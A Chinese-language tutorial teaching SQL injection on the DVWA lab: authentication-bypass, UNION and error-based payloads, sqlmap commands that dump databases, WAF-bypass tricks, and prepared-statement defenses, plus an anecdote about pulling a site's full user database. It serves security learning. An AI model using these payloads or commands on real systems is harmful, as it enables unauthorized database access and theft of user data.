文明小野花1. 从零开始认识SQL注入的本质
我第一次接触SQL注入是在大学二年级的数据库安全课上，教授在黑板上写下"SELECT * FROM users WHERE username='admin' AND password='123456'"时，突然问我们："如果密码框输入' OR 1=1 -- ，会发生什么？"这个简单的问题彻底改变了我对Web安全的认识。
SQL注入本质上是一种将恶意SQL代码插入到输入参数中，从而欺骗后端数据库执行非预期命令的攻击技术。它的危害程度被OWASP长期列为Web应用十大安全风险之首，原因在于：
- 直接威胁数据安全：攻击者可以读取、修改甚至删除数据库中的敏感信息
- 可能获取服务器控制权：通过特定函数实现文件读写或系统命令执行
- 攻击门槛极低：不需要复杂工具，一个浏览器即可实施基础攻击
重要提示：本文所有实验必须在授权环境下进行，推荐使用DVWA(Damn Vulnerable Web Application)这类专门设计的靶场环境。未经授权的测试可能构成违法行为。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 靶场环境搭建与基础配置
2.1 DVWA靶场部署
DVWA是目前最适合SQL注入初学者的实验环境，它的特点包括：
- 预置多种漏洞场景
- 可调节安全等级
- 提供详细漏洞说明
安装步骤（Windows环境）：
- 下载XAMPP集成环境（含Apache+MySQL+PHP）
- 将DVWA压缩包解压到xampp/htdocs目录
- 访问localhost/dvwa/setup.php完成初始化
- 修改config/config.inc.php中的数据库密码
常见问题排查：
- 遇到"Could not connect"错误：检查MySQL服务是否启动
- 页面显示异常：确认PHP版本≥5.4
- 登录失败：默认账号admin/password
2.2 安全等级设置
DVWA提供四个安全级别：
- Low：完全无防护
- Medium：基础过滤
- High：加强防护
- Impossible：彻底防护
建议从Low级别开始练习，逐步提升难度。切换位置在DVWA Security页面。
3. SQL注入基础手法全解析
3.1 万能密码攻击
在Low级别的登录页面，尝试以下payload：
code复制' OR '1'='1
' OR 1=1 --
admin' --
原理分析：
- 单引号闭合前端的字符串定义
- OR条件使判断恒真
- -- 注释掉后续语句
3.2 联合查询注入
典型攻击流程：
- 确定字段数：
' ORDER BY 3-- - 找显示位：
' UNION SELECT 1,2,3-- - 获取信息：
' UNION SELECT 1,user(),database()--
关键函数：
- user()：当前数据库用户
- database()：当前数据库名
- version()：数据库版本
3.3 报错注入技巧
当页面显示错误信息时，可利用：
code复制' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--
' AND extractvalue(1,concat(0x7e,(SELECT database())))--
原理：利用XML函数解析错误泄露信息
4. 自动化工具SQLmap实战指南
4.1 基础扫描命令
bash复制sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" --cookie="security=low; PHPSESSID=xxx" --batch
常用参数：
- --dbs：枚举数据库
- -D dvwa --tables：指定数据库查表
- -T users --columns：指定表查列
- --dump：导出数据
4.2 高级绕过技巧
应对过滤的情况：
code复制--tamper=space2comment # 空格替换
--level=3 --risk=3 # 提高检测级别
--random-agent # 随机UA头
4.3 实战案例演示
以DVWA High级别为例：
- 先获取CSRF token
- 构造完整请求：
bash复制sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit&user_token=XXX" --cookie="security=high; PHPSESSID=xxx" --risk=3 --level=5
5. 防御措施与绕过艺术
5.1 常见防御手段
- 预处理语句（PDO）
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
- 输入过滤
php复制$id = mysqli_real_escape_string($conn, $_GET['id']);
- WAF规则：如ModSecurity
5.2 高级绕过技术
- 编码绕过：十六进制/URL编码
- 注释混淆：
/*!50000select*/ - 等价函数替换：sleep() → benchmark()
- 非常规空格：%0a %0d %09
6. 实战提升路径建议
6.1 学习资源推荐
- 在线靶场：
- Hack The Box
- Web Security Academy
- CTFshow SQL注入关卡
- 书籍：
- 《SQL注入攻击与防御》
- 《Web安全攻防实战》
- 漏洞平台：
- CVE数据库
- 乌云镜像站
6.2 技能进阶路线
- 基础阶段（1-2周）：
- 掌握各类注入手法
- 熟练使用SQLmap
- 完成DVWA所有级别
- 中级阶段（1个月）：
- 研究WAF绕过
- 学习二次注入
- 尝试CTF题目
- 高级阶段：
- 审计开源项目
- 研究ORM注入
- 参与漏洞众测
我在实际渗透测试中发现，很多SQL注入漏洞都藏在看似无害的参数里，比如排序字段、搜索关键字甚至HTTP头。曾经在一个电商网站的价格筛选参数中发现注入点，通过注入获取了完整的用户数据库。这提醒我们测试时要保持"怀疑一切输入"的心态。
最后分享一个实用技巧：使用sqlmap -r参数可以直接读取Burp Suite保存的请求文件，这对测试需要登录的复杂场景特别有用。记得在测试前一定要获取书面授权，并做好完整的数据备份。